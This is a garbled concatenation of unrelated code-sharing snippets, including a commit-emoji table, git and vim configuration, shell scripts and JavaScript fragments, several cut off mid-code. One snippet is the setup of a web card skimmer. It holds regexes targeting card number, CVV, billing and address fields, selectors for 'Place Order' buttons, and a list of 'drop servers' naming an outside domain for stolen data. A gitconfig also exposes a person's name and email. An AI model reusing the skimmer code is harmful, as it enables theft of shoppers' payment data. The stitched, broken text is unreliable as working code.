Inspired by dannyfritz/commit-message-emoji
See also gitmoji.
Commit type | Emoji |
---|---|
Initial commit | 🎉 :tada: |
Version tag | 🔖 :bookmark: |
New feature | ✨ :sparkles: |
Bugfix | 🐛 :bug: |
//http://stackoverflow.com/questions/105034/how-to-create-a-guid-uuid-in-javascript | |
Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); |
var protocol = window.location.protocol != 'https:' ? 'http://' : 'https://'; | |
var hostname = window.location.host; | |
var fieldNameRegex = 'shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country'; | |
var ccRegex = '[0-9]{13,16}|[0-9 -]{16,20}'; | |
var fieldTypeRegex = 'select|password|checkbox|radio|text|hidden|number|tel|email'; | |
var orderButtons = 'a[title*=\'Place Order\'],a[href*=\'javascript: ; \'],a[href*=\'javascript: void (0)\'],a[href*=\'javascript: void (0); \'],a[href=\'#\'],button,input,submit,.btn,.button'; | |
var emptyString = ''; | |
var saveOrderURL = window.location.href.substr(window.location.href.replace('://', '').indexOf('/') + 3) + '/' + 'saveOrder'; | |
var emptyList = []; | |
var dropServers = ['itenvoirtech.com']; |
/** | |
* The command supertype, which is inherited by subtype commands. | |
* @constructor | |
* @param {type} normalAction The normal action. | |
* @param {type} undoAction The opposite of the normal action. | |
* @param {type} actionValue The value, which will get passed to the action. | |
* @returns {Command} | |
*/ | |
function Command(normalAction, undoAction, actionValue) { | |
this.execute = normalAction; |
Inspired by dannyfritz/commit-message-emoji
See also gitmoji.
Commit type | Emoji |
---|---|
Initial commit | 🎉 :tada: |
Version tag | 🔖 :bookmark: |
New feature | ✨ :sparkles: |
Bugfix | 🐛 :bug: |
[user] | |
name = Pavan Kumar Sunkara | |
email = pavan.sss1991@gmail.com | |
username = pksunkara | |
[core] | |
editor = vim | |
whitespace = fix,-indent-with-non-tab,trailing-space,cr-at-eol | |
excludesfile = ~/.gitignore | |
[sendemail] | |
smtpencryption = tls |
VIM - https://www.youtube.com/watch?v=d8XtNXutVto | |
https://github.com/amix/vimrc | |
https://spacevim.org/ | |
==== | |
vim -p index.html my-styles.css # shell | open both files as tabs | |
set spelllang=en_us # .vimrc | set spelling language | |
set spell # .vimrc | enable spell checking in .vimrc | |
#!/bin/sh | |
set -eu | |
FETCH="fetch -qo -" | |
# or for curl: | |
#FETCH="curl -s" | |
# $1: your domain | |
# $2: subdomain to update use @ for TLD | |
# $3: the password given to you by Namecheap's web interface | |
# | |
# Rerun this script every 5 minutes. Crontab entry (not as root): |
_________ _____ _______________ _____
\_ ___ \\ \\___________ \____ / ____\ ~/.bash/cliref.md
/ \ \/| | | || _/ __ \ __\ copy/paste from whatisdb
\ \___|__ |_|_ || | \ __/|_ | http://pastebin.com/yGmGiDQX
\________ /_____ \_||____|_ /____ /_| yunga.palatino@gmail.com
20160515 \/ 1527 \/ \/ \/
alias CLIRef.txt='curl -s "http://pastebin.com/raw/yGmGiDQX" | less -i'
echo "commit id,author,date,comment,changed files,lines added,lines deleted" > res.csv | |
git log --after="2020-1-01" --date=local --all --pretty="%x40%h%x2C%an%x2C%ad%x2C%x22%s%x22%x2C" --shortstat | tr "\n" " " | tr "@" "\n" >> res.csv | |
sed -i 's/ files changed//g' res.csv | |
sed -i 's/ file changed//g' res.csv | |
sed -i 's/ insertions(+)//g' res.csv | |
sed -i 's/ insertion(+)//g' res.csv | |
sed -i 's/ deletions(-)//g' res.csv | |
sed -i 's/ deletion(-)//g' res.csv |
var install_hook_to = function(obj) { | |
if (obj.hook || obj.unhook) { | |
throw new Error('Object already has properties hook and/or unhook'); | |
} | |
obj.hook = function(_meth_name, _fn, _is_async) { | |
var self = this, | |
meth_ref; | |